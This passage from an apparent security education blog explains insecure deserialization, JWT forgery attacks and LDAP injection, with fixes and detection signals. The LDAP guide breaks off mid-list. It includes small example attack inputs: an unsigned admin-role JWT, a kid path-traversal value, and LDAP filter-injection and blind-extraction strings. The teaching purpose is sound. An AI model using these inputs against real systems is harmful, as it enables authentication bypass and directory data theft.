exceptions. A sudden rise in deserialization exceptions, especially ones naming unexpected classes, is one of the clearest live signals that someone is testing the surface. Unusual class-resolution attempts, where the runtime is asked to load a class that has no business appearing in a session or a token, deserve an alert on their own. Behavioral signals sit downstream of a successful chain. Because chains so often terminate in command execution or an outbound connection, a worker process that suddenly spawns a shell, resolves an unexpected hostname, or opens a socket right after consuming a serialized message is worth treating as an incident. Correlating the timing of a deserialization event with a new child process is a high-value detection. | Signal | Where to look | What it suggests | |---|---|---| | Serialized blob a client can edit | Cookies, hidden fields, tokens, queue messages | An exposed deserialization boundary | | Native-format magic bytes after decoding | Decoded cookie or token values | Live objects being round-tripped, not data | | Spike in class-resolution exceptions | Application and framework logs | Active probing of the parser | | Unexpected class names in errors | Deserialization stack traces | Attempted object injection | | Process spawn or outbound socket after a deserialize | Host and network telemetry | A chain that reached execution | A web application firewall struggles here because a malicious serialized object looks like a normal one. The higher-value control is instrumentation at the deserialization call itself: log every class the runtime is asked to resolve during reconstruction, alert on any class outside a known-good set, and treat a resolution failure as a probing signal rather than a routine error. ## How insecure deserialization compares to related bugs Deserialization sits in the same family as other injection classes, and placing it beside them clarifies what makes it distinct. | Technique | Attacker supplies | Where the damage happens | Typical fix | |---|---|---|---| | Insecure deserialization | A crafted object graph | During reconstruction, inside library code | Stop deserializing untrusted native objects | | Command injection | A string that reaches a shell | At the point the command runs | Avoid shells, pass arguments as arrays | | SQL injection | A string that reaches a query | At query execution | Parameterized queries | | Server-side template injection | Template syntax in input | When the template engine renders | Keep user input out of template code | The common thread is a trust boundary crossed by data that then gets interpreted as more than data. What sets deserialization apart is the distance between the vulnerable line and the payload. In SQL and command injection the dangerous sink is visible and local. In deserialization the sink is spread across methods in dependencies, and the single visible line, the call that reads a byte stream, looks benign. That distance is why static review and simple input filtering both underperform against it. ## Common misconceptions A few beliefs make this bug more dangerous than it needs to be, because they lead teams to defend the wrong thing. **"We validate the object's fields after loading, so we are safe."** Validation runs after reconstruction, and the dangerous behavior fires during reconstruction. By the time your validation code sees the object, the reconstruction hooks and the gadget chain have already executed. Field validation protects against tampering with values you trust, and it does nothing against a chain that reaches code execution before your first check. **"Our own classes are clean, so we have nothing to worry about."** The gadgets live in dependencies. You can audit every class you wrote and still be exploitable through a chain assembled from a logging framework, an object-relational mapper, or a collections utility deep in the tree. The relevant attack surface is the transitive dependency graph, not the application code. **"It is only a problem if we deserialize user input directly."** The boundary is anywhere untrusted data enters, which includes caches other tenants can influence, queues fed by upstream systems, and inter-service messages. A serialized object that arrives from a peer service you do not fully control is untrusted for this purpose. **"Encrypting the blob fixes it."** Encryption hides the contents and can prevent tampering when the key stays secret, which helps. It does nothing if the deserialization is reachable by another untrusted path, and it fails entirely if the key leaks. Encryption is a tampering control layered on a dangerous design, and the design is what carries the risk. ## How the problem evolved Native serialization was designed in an era when the network was assumed to be more trusted and convenience was the priority. The formats made it trivial to move a live object across a boundary and reconstruct it on the other side, complete with automatic reconstruction hooks. That convenience is exactly what made them dangerous once untrusted data started flowing into them. The class of bug moved from obscure to mainstream when researchers published reusable gadget chains for widely used libraries and packaged them into tooling. Once a chain for a popular framework was public, a single vulnerable deserialization call anywhere that framework was used became exploitable with an off-the-shelf payload. That shifted the economics: an attacker no longer needed to discover a chain, only to find a place where untrusted data reached a native deserializer. The defensive response followed two tracks. Libraries added allowlisting hooks and safer defaults, and guidance moved toward avoiding native deserialization of untrusted data entirely. The durable lesson from that history is that patching individual gadgets is a losing game, because new chains keep appearing, while changing the boundary format removes the whole class at once. ## Frequently asked questions **Is deserialization always dangerous?** No. Deserializing data you fully trust, or using a data-only format like JSON that cannot instantiate arbitrary application classes, does not carry the gadget-chain risk. The danger is specifically native, type-carrying formats applied to data that crossed a trust boundary. **Does using JSON make me completely safe?** JSON removes the core reconstruction risk because it describes values and structure, not live objects, so a parser will not instantiate an arbitrary class from it. You still have to construct your own objects from those values carefully, and libraries that add type information on top of JSON to support polymorphic deserialization can reintroduce the problem. Plain JSON with explicit, known types is the safe path. **Can a web application firewall stop this?** Not reliably. A malicious serialized object is structurally similar to a legitimate one, so signature-based filtering catches only known payloads and misses novel object graphs. Instrumenting the deserialization call and allowlisting classes is far more effective than perimeter filtering. **Why does removing the dangerous classes not fix it?** Removing a known gadget helps against one published chain, and new chains form from different combinations of methods as dependencies change. Pruning gadgets is a hardening measure with a short shelf life. Avoiding untrusted native deserialization is the control that holds. **What is the single most effective fix?** Move the boundary to a data-only format and construct known types yourself. That one architectural change removes the ability of an attacker to name a type or trigger a reconstruction hook, which is the root of the entire vulnerability class. **How do signed payloads fit in?** Attaching a message authentication code to a serialized payload and verifying it before parsing stops tampering, so an attacker cannot swap in their own object graph. It depends on the signing secret staying secret and does not help if the deserialization is reachable through another path, so treat it as one layer rather than the whole answer. ## Related guides - [Command Injection Explained](/command-injection-explained) - [Server-Side Template Injection Explained](/server-side-template-injection-explained) - [API Abuse Explained](/api-abuse-explained) - [Secure Coding Practices](/secure-coding-practices) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - OWASP: Deserialization of Untrusted Data (OWASP): https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data - PortSwigger Web Security Academy: Insecure Deserialization (PortSwigger): https://portswigger.net/web-security/deserialization - OWASP Deserialization Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html --- ## JWT Attacks: alg=none, Algorithm Confusion & Weak Secrets > How JSON Web Token attacks work: the alg=none trick, RS256-to-HS256 algorithm confusion, brute-forcing weak secrets, and how to defend. - URL: https://blog.pwnsy.com/jwt-attacks-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: jwt, web-security, authentication, api-security, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - A JWT is only as trustworthy as the signature check behind it, and most JWT attacks are ways to make the server skip or misapply that check. - The alg=none attack strips the signature entirely, while algorithm confusion tricks a server into verifying an RS256 token with the public key as an HMAC secret. - Weak or default HMAC secrets can be brute-forced offline, letting an attacker forge any token they like without ever touching your server again. - Tokens with no expiry, no revocation path, and secrets in source control turn a single leak into permanent access. ### Key Takeaways - Always pin the accepted algorithm on the server and reject any token whose header algorithm does not match what you expect. - Never feed the algorithm from the token header into your verification call, because that is exactly what enables alg=none and RS256-to-HS256 confusion. - HMAC secrets must be long and random; a dictionary word or a leaked key means an attacker can mint valid tokens at will. - Short-lived access tokens plus a server-side revocation or session check limit the damage when a token leaks. - Treat the JWT as attacker-controlled input until the signature and claims have both been validated. A JSON Web Token is a small, signed piece of state the client carries around and hands back to prove who it is. The design is clean, and when the signature check is done correctly the token is hard to forge. The trouble is that the signature check is easy to do incorrectly, and a whole family of attacks exists purely to make the server accept a token it should have rejected. This guide walks through the main JWT attacks you will actually encounter, why each one works, and the small set of server-side rules that shut them all down. If you want the mechanics of the token format itself first, start with [What Is a JWT](/what-is-a-jwt). ## A quick refresher on structure A JWT has three parts, separated by dots: a header, a payload, and a signature, each Base64url-encoded. ``` eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIn0. ``` The header names the signing algorithm, for example `HS256` (HMAC with a shared secret) or `RS256` (RSA with a private and public key pair). The payload carries claims such as the subject, the role, and an expiry. The signature is computed over the header and payload using the chosen algorithm and key. The security model rests on one thing: only the server holds the key needed to produce a valid signature, so only the server can issue a token, and anyone can verify one without being able to alter it. Every attack below is an attempt to break that single assumption. ## The alg=none attack The JWT specification allows an `alg` value of `none`, meaning the token is unsigned. It exists for cases where the transport is already trusted. In practice it is a loaded gun pointed at any library that honors it by default. The attack is straightforward. The attacker takes a valid token, edits the payload to elevate their role or change the subject, sets the header algorithm to `none`, and deletes the signature. A server that reads the algorithm from the token header and finds `none` may conclude that no signature is required, and accept the forged claims as genuine. ``` {"alg":"none","typ":"JWT"}.{"sub":"alice","role":"admin"}. ``` No key, no cryptography, no effort. The root cause is that the server trusted the token to tell it how to verify the token. The header of a JWT is attacker-controlled. If your verification logic reads `alg` from the incoming token and acts on it, the attacker chooses the verification path. Decide the accepted algorithm on the server, from configuration, and reject anything that does not match, including `none`. ## Algorithm confusion: RS256 to HS256 This one is more subtle and more dangerous. It abuses the difference between asymmetric and symmetric signing. With `RS256`, the server signs tokens using a private key and verifies them with the matching public key. The public key is, by design, public. With `HS256`, signing and verifying both use the same shared secret, and that secret must stay secret. The confusion attack works like this. The attacker takes a legitimately RS256-signed token, changes the header algorithm to `HS256`, then signs the modified token using the server's public key as if it were the HMAC secret. If the server's verification function is told to trust the algorithm named in the header, it will now run HMAC-SHA256 using the public key it holds. The attacker also has that public key. So the attacker can produce a signature the server will accept. The whole trick hinges on the server passing one key to a verification routine that switches behavior based on the header. The fix is the same principle as before: the server must fix the algorithm to `RS256` and refuse to verify anything else, so a token claiming `HS256` is rejected outright. ## Brute-forcing weak HMAC secrets When a token uses `HS256`, its security is entirely the strength of the shared secret. An attacker who captures a single valid token can attack the secret offline, at their own pace, with no rate limiting and no server involvement. They take the token's signed portion and the signature, then try candidate secrets until one reproduces the signature. Standard wordlists and cracking tools make short work of common choices: `secret`, `password`, a project name, a value copied from a public tutorial, or a short random string. Once the secret is recovered, the attacker can forge any token with any claims, and nothing on the server will look wrong. This is why a leaked or weak signing secret is a full authentication bypass. On MITRE ATT&CK, using a stolen or forged token to authenticate falls under [Steal Application Access Token (T1528)](https://attack.mitre.org/techniques/T1528/) and the broader [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550/) technique family. ## Header parameter injection: kid, jku, and x5u The JWT header can carry more than the algorithm. Several optional parameters tell the verifier where to find the key, and a server that trusts them hands the attacker influence over verification. - **`kid` (key ID)** names which key to use. If the server uses that value to look up a key file or a database row without sanitizing it, the attacker can point it at a file they control, or inject path traversal and even SQL through it. A `kid` of `../../dev/null` can make the server verify against an empty key the attacker also knows. - **`jku` (JWK Set URL)** tells the verifier to fetch the signing keys from a URL. If the server fetches from any URL in the header, the attacker hosts their own key set, signs the token with the matching private key, and the server fetches the attacker's public key and accepts the forgery. - **`x5u` (X.509 URL)** does the same with a certificate URL and carries the same risk. The defense mirrors the algorithm rule. Do not let the token tell the server where to find its key. Resolve keys from a fixed, server-side configuration, and if you support key rotation through `kid`, validate it strictly against a known set rather than treating it as a path or a lookup string. ## Missing or ignored claims Even a correctly signed token can be dangerous if the server ignores the claims that bound its use. - **No expiry.** A token without an `exp` claim, or a server that never checks it, never dies. One leak in a log, a proxy, or browser history becomes permanent access. - **Ignored audience and issuer.** If the server does not verify `aud` and `iss`, a token minted for one service can be replayed against another that shares the same key. - **No revocation.** Because a JWT is self-contained, the server can validate it without a database lookup. That is the selling point and the weakness. Logout and password reset do nothing to a token already in the wild unless you add a server-side check. ## Attack summary | Attack | What the attacker changes | Root cause | Primary defense | |---|---|---|---| | alg=none | Sets `alg` to `none`, drops the signature | Server trusts the header's algorithm | Pin the algorithm server-side, reject `none` | | Algorithm confusion | Switches `RS256` to `HS256`, signs with the public key | Verifier chooses key type from the header | Enforce one expected algorithm | | Weak secret | Nothing; cracks the secret offline | Guessable or leaked HMAC secret | Long random secret, rotate on leak | | Missing expiry | Reuses a token indefinitely | No `exp` check or no revocation | Short lifetimes plus server-side session checks | | Claim confusion | Replays across services | `aud` and `iss` unchecked | Validate audience and issuer | ## How to defend against JWT attacks The defenses are cheap and they compound. Apply all of them. 1. **Pin the algorithm on the server.** Configure exactly which algorithm you accept and reject every token that names a different one. Do not let the incoming token's header select the verification path. This single rule kills both `alg=none` and RS256-to-HS256 confusion. 2. **Use strong, secret keys.** For HMAC, use a long, randomly generated secret held in a secrets manager, never in source control or a tutorial default. For RSA and ECDSA, protect the private key and treat the public key as public. 3. **Validate every claim you rely on.** Check `exp`, and check `aud` and `iss` against the values your service expects. Reject tokens that omit claims your authorization logic reads. 4. **Keep access tokens short-lived.** Pair a short-lived access token with a refresh mechanism, so a leaked token is useful for minutes rather than forever. 5. **Add a revocation path.** Keep a server-side session or a denylist of revoked token identifiers so logout, password reset, and incident response can actually cut off access. 6. **Use a maintained library and keep it patched.** The safe defaults in modern JWT libraries exist because of exactly these attacks. Do not hand-roll verification. Forged and stolen tokens are a recurring theme in real-world intrusions. Our Exploit Intelligence dashboard tracks live vulnerabilities across authentication and API components, so you can see which classes of flaw are being weaponized rather than just theoretically risky. A JWT is a good tool with a sharp edge. The token is attacker-controlled input right up until your server has confirmed the signature with an algorithm and key that you chose, and confirmed the claims say what your authorization logic needs. Fix the algorithm, protect the key, check the claims, and keep the tokens short-lived. Do those four things and the attacks in this guide have nothing left to grab. ## A worked example: tracing an algorithm-confusion forgery Walking through the confusion attack step by step makes the root cause concrete. Start with a service that issues RS256 tokens. It holds an RSA private key it never shares and publishes the matching public key so clients and other services can verify signatures. This is the intended design, and the public key being public is a feature. The attacker begins with any valid token the service issued. They decode the header and payload, which requires no secret because both are only Base64url-encoded. They rewrite the payload to say what they want, perhaps changing a role claim to an administrative value. So far this is trivial, and on its own it produces an invalid token because the signature no longer matches. Now the pivot. The attacker changes the header algorithm from `RS256` to `HS256`. HS256 is symmetric, so verification uses one shared secret for both signing and checking. The attacker needs a secret that the server also holds. They already have one: the server's public key, which is published. The attacker computes an HMAC-SHA256 signature over the tampered header and payload using the public key bytes as the HMAC key. When the token reaches the server, the flaw decides the outcome. If the verification code reads `alg` from the incoming header and selects its behavior from that value, it sees `HS256` and runs HMAC verification. For the key it reaches for the RSA public key it has on file, because that is the key material associated with this issuer. It computes HMAC-SHA256 over the header and payload using that public key, and the result matches the attacker's signature, because the attacker used the very same bytes. The token is accepted, and the attacker is now an administrator. The single mistake that makes every step work is letting the token's own header choose the algorithm. Pin the algorithm to `RS256` on the server and a token claiming `HS256` is rejected before any key is touched. This maps to MITRE ATT&CK Use Alternate Authentication Material and its sub-technique for application access tokens. ## Detection signals JWT attacks leave traces at the verification layer, so detection depends on logging what your tokens claim and how verification behaves. A few signals are worth wiring into monitoring. Watch the header algorithm distribution. In a healthy system every token names the one algorithm you issue. Any inbound token whose header names a different algorithm, especially `none` or a switch between an asymmetric and a symmetric family, is a probing attempt and should be logged and counted. A rise in tokens carrying `none` is one of the clearest signals that someone is testing your verifier. Watch for verification anomalies. A burst of signature-verification failures from a single client suggests an offline forgery attempt being tested against the live endpoint. Tokens that decode cleanly at the payload level but fail signature checks are the normal shape of a forgery attempt, so a spike in that specific pattern deserves attention. Watch the optional header parameters. Requests carrying a `jku` or `x5u` pointing at an external host, or a `kid` containing path characters, slashes, or SQL-like syntax, indicate someone probing the key-resolution path. These parameters have narrow legitimate uses, so unusual values in them are high-signal. | Signal | Where to look | What it suggests | |---|---|---| | Inbound token with `alg` of `none` | Auth-layer logs | alg=none forgery attempt | | Algorithm switching between families | Token header logging | Algorithm-confusion probing | | Spike in decode-ok, verify-fail tokens | Verification metrics | Offline forgery being tested | | `kid` with path or query characters | Header parameter logs | Injection through key lookup | | `jku` or `x5u` to an external host | Header parameter logs | Attacker-hosted key set | | Expired tokens still accepted | Session and access logs | Missing or ignored `exp` check | The JWT header is attacker input, and it is also a rich source of detection. Record the algorithm and any key-resolution parameters on every request before verification runs. That log costs almost nothing and turns silent forgery attempts into visible, countable events you can alert on. ## How JWT attacks compare to related session mechanisms Placing JWTs beside other ways of carrying identity clarifies the trade-offs that create these attacks. | Property | Signed JWT | Server-side session ID | Opaque bearer token | |---|---|---|---| | State location | In the token, self-contained | In server storage | Reference to server storage | | Revocation | Hard without extra state | Immediate | Immediate | | Forgery risk | Signature and algorithm bugs | Guessing or fixation | Guessing the reference | | Offline attack | Possible against HMAC secrets | Not applicable | Not applicable | | Scaling cost | No lookup on validate | Lookup per request | Lookup per request | The self-contained design that makes a JWT cheap to validate is the same property that makes revocation hard and offline forgery possible when the secret is weak. A server-side session identifier avoids both problems at the cost of a storage lookup on every request. Neither is universally better, and the JWT attacks in this guide are the price of the self-contained model, which is why the defenses focus on making the signature check impossible to bypass and adding back a revocation path. ## Common misconceptions **"JWTs are encrypted, so the contents are safe."** A standard signed JWT is signed, not encrypted. The header and payload are only Base64url-encoded, which anyone can decode. Never place a secret in a JWT payload expecting it to stay hidden. Encryption is a separate mechanism that has to be applied deliberately. **"The signature proves the user is who they claim."** The signature proves the token was issued by something holding the key, and only if you verified it with the algorithm and key you chose. If the verifier lets the token pick its own algorithm, the signature proves nothing. Verification correctness, not the mere presence of a signature, is what carries the guarantee. **"A long random secret means I can skip the algorithm check."** A strong HMAC secret defeats brute forcing, and it does nothing against alg=none or algorithm confusion, which bypass the secret entirely by changing how verification runs. You need both a strong secret and a pinned algorithm. **"Once a token is signed, it is valid until it expires and there is nothing more to do."** Claims still matter. A correctly signed token with no audience check can be replayed against a sibling service sharing the key, and a signed token with no revocation path survives logout and password reset. Signature validity is one of several checks, and skipping the others leaves real gaps. ## How JWT attacks evolved The `none` algorithm was written into the standard for legitimate cases where the transport already guarantees integrity. Early libraries honored it by default, and because many verifiers read the algorithm from the token, changing the header to `none` bypassed authentication outright. The response was for libraries to stop accepting `none` unless explicitly configured and for guidance to insist on pinning the algorithm. Algorithm confusion emerged from the same design pattern once developers mixed asymmetric and symmetric algorithms behind a single verification call that trusted the header. The public nature of the RSA public key, ordinarily harmless, became the forgery key. Modern libraries increasingly require the caller to state the expected algorithm and key type, which removes the ambiguity that made confusion possible. The header-parameter attacks through `kid`, `jku`, and `x5u` followed as attackers looked past the algorithm to any field that influenced verification. Each one is the same lesson repeated: any part of an attacker-controlled token that steers the verification process is a vulnerability. The durable defense that came out of this history is simple to state. Decide the algorithm and the key on the server, from configuration, and let nothing in the token change either. ## Frequently asked questions **Should I stop using JWTs entirely?** No. A JWT with a pinned algorithm, a strong key, validated claims, a short lifetime, and a revocation path is a solid design. The attacks target misconfiguration, and a correctly configured token is hard to forge. Choose based on whether you value cheap stateless validation or immediate revocation more. **Is RS256 safer than HS256?** Each is safe when used correctly. RS256 avoids sharing a secret with verifiers, which is useful when many parties verify but only one issues. HS256 is simpler when one service both issues and verifies. The algorithm-confusion attack targets systems that accept both interchangeably, so the real safety comes from accepting exactly one and rejecting the rest. **How short should token lifetimes be?** Short enough that a leaked access token is useful for minutes rather than days, paired with a refresh mechanism for continuity. The exact number depends on your risk tolerance, and the principle is that a self-contained token you cannot easily revoke should not live long. **Can I revoke a JWT?** Not with the token alone, since it validates without a lookup. You add revocation by keeping server-side state, such as a session record or a denylist of revoked token identifiers, and checking it during authorization. That reintroduces a lookup, which is the cost of being able to cut off access. **Where should the signing secret live?** In a secrets manager or equivalent protected store, never in source control, a configuration file committed to a repository, or a tutorial default. A leaked HMAC secret is a full authentication bypass, because anyone holding it can mint valid tokens with any claims. **Does checking `exp` cover everything about token lifetime?** Checking `exp` stops indefinitely reused tokens, and you should also validate `aud` and `iss` so a token minted for one service cannot be replayed against another, and add a revocation path so logout and incident response can end a session before its natural expiry. ## A quick verification checklist Before shipping any service that consumes JWTs, walk this short list against your verification code. Each item closes one of the attacks above, and together they leave nothing loose. 1. The accepted algorithm is set in server configuration, and any token naming a different algorithm is rejected before verification. This includes an explicit rejection of `none`. 2. The verification call is told which algorithm and key type to expect, so it never selects its behavior from the incoming header. 3. The HMAC secret, if you use one, is long, randomly generated, and stored in a secrets manager. RSA and ECDSA private keys are similarly protected, and the public key is treated as public. 4. Key resolution happens from server-side configuration. If `kid` is supported, its value is checked against a known set rather than used as a file path or a database lookup string, and `jku` and `x5u` from the token are ignored. 5. Every claim your authorization logic reads is validated, including `exp`, `aud`, and `iss`, and a token missing a required claim is rejected. 6. Access tokens are short-lived, and a server-side session or denylist gives you a way to revoke access before expiry. Run through those six points and the attacks in this guide have no remaining foothold. The verification layer is small, and getting it right once protects every endpoint behind it. ## Related guides - [OAuth Attacks Explained](/oauth-attacks-explained) - [What Is a JWT](/what-is-a-jwt) - [Session Hijacking Explained](/session-hijacking-explained) - [API Security Guide](/api-security-guide) ### Sources - PortSwigger Web Security Academy: JWT attacks (PortSwigger): https://portswigger.net/web-security/jwt - RFC 7519: JSON Web Token (JWT) (IETF): https://datatracker.ietf.org/doc/html/rfc7519 - MITRE ATT&CK: Steal Application Access Token (T1528) (MITRE): https://attack.mitre.org/techniques/T1528/ --- ## LDAP Injection: Filter Manipulation & Auth Bypass > How LDAP injection lets attackers rewrite directory search filters to bypass logins and read data, why it happens, and how to bind and query safely. - URL: https://blog.pwnsy.com/ldap-injection-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: ldap-injection, web-security, owasp, authentication, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - LDAP injection happens when user input is concatenated into a directory search filter, letting an attacker rewrite the filter logic the application runs. - The classic payload turns a login check into an always-true filter, granting authentication bypass without a valid password. - The same flaw leaks directory data: usernames, group membership, email addresses, and internal attributes an attacker was never meant to enumerate. - The fix is to escape every special character per RFC 4515 and, where possible, bind with a fixed service account rather than building filters from raw input. ### Key Takeaways - LDAP filters use a prefix notation where characters like parentheses, asterisk, backslash, and NUL carry structural meaning, so unescaped input rewrites the query. - Authentication bypass works because an injected `)(uid=*` or similar fragment collapses the intended filter into one that matches any entry. - Blind LDAP injection extracts data one character at a time by observing whether a crafted filter returns a result, even when no output is shown. - Escaping filter metacharacters with their backslash-hex form is the primary defense, mirroring parameterization in SQL. - Least-privilege bind accounts and deny-by-default input validation cap the damage when a filter is still built from user data. Many applications still keep their users, groups, and permissions in a directory service, and they reach that directory with LDAP. When a login form or a search box builds an LDAP query by pasting user input straight into a filter string, the same problem that gives you SQL injection appears in a new place. An attacker who understands the filter syntax can rewrite the query the server runs, and the payoff ranges from reading directory attributes to logging in as someone else without a password. LDAP injection is less famous than SQL injection, which works in the attacker's favor. Directory-backed login and lookup features often get less scrutiny, and the escaping rules are unfamiliar to developers who rarely touch LDAP. ## How LDAP filters actually work LDAP search filters use prefix notation and lean heavily on parentheses. A filter that finds a user by name looks like this: ``` (uid=jsmith) ``` Boolean logic wraps around individual terms rather than sitting between them. An AND of two conditions is written with the operator first: ``` (&(uid=jsmith)(objectClass=person)) ``` An OR uses `|` in the same position, and `!` negates. The asterisk `*` is a wildcard that matches any value. Those characters, along with the backslash and the NUL byte, are the structural grammar of a filter. If user input can carry any of them into the string unescaped, the input stops being data and becomes part of the query. ## The core vulnerability Picture a login that checks credentials against a directory. The application takes the submitted username and password and builds a filter to find a matching entry: ``` (&(uid=USERNAME)(userPassword=PASSWORD)) ``` The intent is clear: find the entry where the uid matches and the password matches. Now suppose the username field is concatenated in without escaping and an attacker submits `*)(uid=*))(|(uid=*` as the username and anything as the password. The filter the server receives becomes a different query entirely, one where the appended `(uid=*)` clause matches every entry in the directory. The password condition is neutralized by the injected structure, and the search returns a valid user. If the application treats "a matching entry was found" as "the login succeeded," the attacker is now authenticated. A simpler variant targets applications that only check for the existence of a matching entry. Submitting a username of `*` turns `(uid=*)` into a filter that matches every account. Where the code logs the user in as the first returned entry, that is an instant bypass. A recurring root cause is treating "the LDAP search returned at least one entry" as proof of a correct password. Once the filter can be manipulated to always return an entry, that assumption collapses. Authentication must depend on a successful bind with the supplied credentials, not on whether a search found something. ## Reading data through injection Authentication bypass is the loud case. The quieter one is data disclosure. Any feature that searches the directory from user input (a people finder, an address book lookup, a group membership check) can be steered to return more than intended. If a search builds `(cn=SEARCHTERM)` and an attacker supplies `*)(objectClass=*`, the resulting filter can match every object class, dumping entries the interface was never meant to surface. Adding conditions with `&` and `|`, or injecting wildcards into attribute matches, lets an attacker enumerate usernames, email addresses, group memberships, and any attribute the bind account is allowed to read. ### Blind LDAP injection When the application shows no direct output, the directory still answers indirectly. Blind LDAP injection extracts data one character at a time by asking true-or-false questions through the filter. An attacker crafts a filter that only returns a result when a target attribute starts with a guessed character, for example testing `(&(uid=admin)(userPassword=a*))` and watching whether the page behaves as "found" or "not found." Walking the alphabet position by position reconstructs the value. It is slow, it is scriptable, and it works with no visible error messages at all. The technique mirrors blind SQL injection and the same automation tooling logic applies. ## Where LDAP injection hides | Feature | Why it is exposed | |---|---| | Directory-backed login forms | Username and password flow into a search filter | | User and contact search | Free-text input concatenated into `(cn=...)` style filters | | Group and role lookups | Membership checks build filters from a supplied identity | | Self-service password reset | Email or username used to locate an account entry | | Admin consoles over LDAP | Bulk queries assembled from operator-supplied fields | Any of these is worth a close review wherever the directory query is built by string concatenation. ## Why blocklisting input fails The instinct is to strip "dangerous" characters like parentheses and asterisks. This breaks on two fronts. Legitimate input often contains those characters, so a blocklist creates false rejections and support tickets. And a blocklist that misses one metacharacter, or mishandles the backslash escape itself, leaves the door open. The backslash is especially treacherous because it is both a literal character users type and the escape character in the filter grammar. Naive filtering that removes parentheses but not backslashes can be defeated by feeding in an escape sequence the parser later expands. ## How to defend against LDAP injection The controls that hold up treat filter input the way you already treat SQL input: as data that must be neutralized before it can touch the query grammar. 1. **Escape every filter metacharacter.** Encode the LDAP filter special characters (`*`, `(`, `)`, `\`, and NUL) using their backslash-hex form as defined in RFC 4515 before placing user input in a filter. Use your platform's dedicated encoder rather than a hand-rolled replacement. This is the primary control and it is the LDAP equivalent of parameterization. 2. **Escape distinguished-name input separately.** Values placed in a DN follow the different escaping rules of RFC 4514. Do not reuse filter escaping for DN construction; the special-character set is not the same. 3. **Authenticate with a bind, not a search result.** Verify credentials by attempting an LDAP bind with the supplied username and password and checking whether it succeeds, rather than inferring success from a search that returned an entry. 4. **Use least-privilege bind accounts.** The service account the application binds with should be able to read only the attributes it needs. When injection still occurs, a tightly scoped account limits what an attacker can enumerate. 5. **Validate input against an allowlist where the format is known.** A username that must be alphanumeric can be checked against that pattern and rejected otherwise. Deny by default; do not try to enumerate bad characters. 6. **Suppress detailed directory errors.** Verbose LDAP error text helps an attacker tune a blind extraction. Return a generic failure to the user and log the detail server-side. If your team already parameterizes SQL by reflex, apply the identical reflex here. The grammar is different (prefix notation, parentheses, wildcards instead of quotes and semicolons) but the rule is the same: input never becomes syntax. Encode it, scope the account that runs it, and validate the shape you expect. ## A worked example: from filter to bypass Walking through a single request makes the mechanism concrete. Assume the application builds its login filter by string concatenation, something like `(&(uid=` followed by the raw username, then `)(userPassword=` followed by the raw password, then two closing parentheses. When a normal user named `alice` logs in with the password `spring2026`, the server receives a filter that reads: find the entry whose uid is alice and whose userPassword is spring2026. The directory returns that one entry, the bind or the match succeeds, and Alice is in. Now change one field. The attacker leaves the password blank or arbitrary and submits a username of `alice)(&))` or the more general `*)(uid=*))(|(uid=*`. Trace what happens to the string. The application still wraps the input in its fixed template, but the input now carries its own parentheses and its own boolean operators. The closing parenthesis the attacker supplied terminates the `uid` term early. The operators that follow open a fresh clause the developer never intended. By the time the parser reads the whole string, the password condition has been pushed outside the active logic or neutralized by an always-true wildcard clause, and the filter matches at least one entry regardless of the password. The lesson from tracing it by hand is that the attacker is not guessing a password. The attacker is editing the query. Every character the application fails to escape is a character the attacker can promote from data into grammar. The parser has no way to know that the parenthesis came from a hostile form field rather than from the developer's template, because by the time it sees the string, both look identical. The root of every injection class is the same: a parser receives a single flat string and cannot know which parts were meant as structure and which arrived as user data. Escaping restores that distinction by neutralizing the characters that carry meaning, so a parenthesis typed by a user stays a literal parenthesis and never becomes a grouping operator. ## Detection signals LDAP injection leaves traces on both the offensive and the defensive side. Knowing what to look for turns a vague worry into a concrete test. - **Behavioral response to metacharacters.** Submit a single `)` or a `*` in a field that reaches the directory and watch how the application responds. A server error, a stack trace mentioning the LDAP provider, or a sudden change in the number of results returned all suggest the input is reaching the filter unescaped. - **Result-count swings.** A search box that returns one record for a specific name but returns the entire directory for an input of `*` is answering a wildcard it should have treated as a literal. That swing is the signature of an unescaped filter. - **Login success without a valid password.** If supplying a crafted username together with a wrong password ever produces an authenticated session, the code is inferring success from a search result rather than from a bind. - **Timing differences in blind cases.** When no output is visible, a filter that matches versus one that does not can still differ in response time or in a subtle status change. A methodical attacker automates that difference to read data one character at a time. - **Directory server logs.** On the server side, LDAP access logs that record raw filters will show malformed or unusually broad filters, multiple wildcard terms, or repeated near-identical queries walking through an alphabet. Those patterns are the fingerprint of an automated blind extraction in progress. Logging the constructed filter at the directory tier, then alerting on filters that contain unexpected wildcards or an anomalous number of boolean operators, gives defenders a signal that no amount of front-end validation can produce on its own. ## LDAP injection versus SQL injection The two share a family resemblance, which helps developers who know one learn the other quickly. The differences are in the grammar and in the payoff. | Aspect | SQL injection | LDAP injection | |---|---|---| | Target parser | Relational database query engine | Directory search filter parser | | Structural characters | Quotes, semicolons, comment markers | Parentheses, asterisk, backslash, NUL, boolean operators | | Notation | Infix (`WHERE a = b AND c = d`) | Prefix (`(&(a=b)(c=d))`) | | Primary defense | Parameterized queries and prepared statements | RFC 4515 filter escaping and RFC 4514 DN escaping | | Classic impact | Data theft, data modification, sometimes command execution | Authentication bypass and directory enumeration | | CWE reference | CWE-89 | CWE-90 | The most important practical difference is that most SQL stacks offer true parameterization, where the query structure is compiled separately from the data. Many LDAP libraries do not offer an equivalent compiled-filter primitive, so escaping the input before it enters the filter string carries more of the defensive weight. That places extra importance on using the platform's dedicated filter encoder every single time. ## Common mistakes and misconceptions Several recurring errors keep LDAP injection alive in codebases that believe they are safe. 1. 